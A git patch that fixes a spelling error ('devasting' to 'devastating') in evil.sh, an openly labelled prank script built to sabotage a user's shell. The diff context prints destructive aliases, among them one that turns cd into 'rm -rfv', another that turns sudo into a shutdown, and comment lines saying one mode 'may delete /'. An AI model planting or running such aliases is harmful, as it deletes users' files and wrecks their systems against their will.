From b711c26b33c7bccfe6d536aa5a1028d434e2184b Mon Sep 17 00:00:00 2001 From: Case Duckworth Date: Mon, 4 Oct 2021 12:57:51 -0500 Subject: [PATCH] Correct spelling error It's "devastating," not "devasting." To be honest, I'm not sure if this is part of the evilness of evil.sh ... --- evil.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/evil.sh b/evil.sh index 9e9121e..c494d83 100755 --- a/evil.sh +++ b/evil.sh @@ -1,7 +1,7 @@ #!/usr/bin/env bash # evil.sh — https://mths.be/evil.sh -# valid values are: insane, annoying, destructive, devasting, unusable +# valid values are: insane, annoying, destructive, devastating, unusable # each mode of operation includes the previous one's tweaks # # insane: only enable subtle behaviour that confuses and slowly drives people insane e.g. make exit @@ -9,7 +9,7 @@ # annoying: like insane just way more obvious behaviour allowed (e.g. constantly cd to the wrong # (random) directory # destructive: delete files and do serious harm, non-recoverable damage included -# devasting: may delete / +# devastating: may delete / # unusable: enable everything including, but not limited to replacing enter by backspace EVIL_BEHAVIOUR=annoying @@ -25,12 +25,12 @@ function annoying() function destructive() { - devasting || test "$EVIL_BEHAVIOUR" = "destructive" + devastating || test "$EVIL_BEHAVIOUR" = "destructive" } -function devasting() +function devastating() { - unusable || test "$EVIL_BEHAVIOUR" = "devasting" + unusable || test "$EVIL_BEHAVIOUR" = "devastating" } function unusable() @@ -57,7 +57,7 @@ annoying && alias cat=true; annoying && function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; } # Delete directories instead of entering them. -devasting && alias cd='rm -rfv'; +devastating && alias cd='rm -rfv'; # Shut down the computer instead of running a command with super-user rights. destructive && alias sudo='sudo shutdown -P now';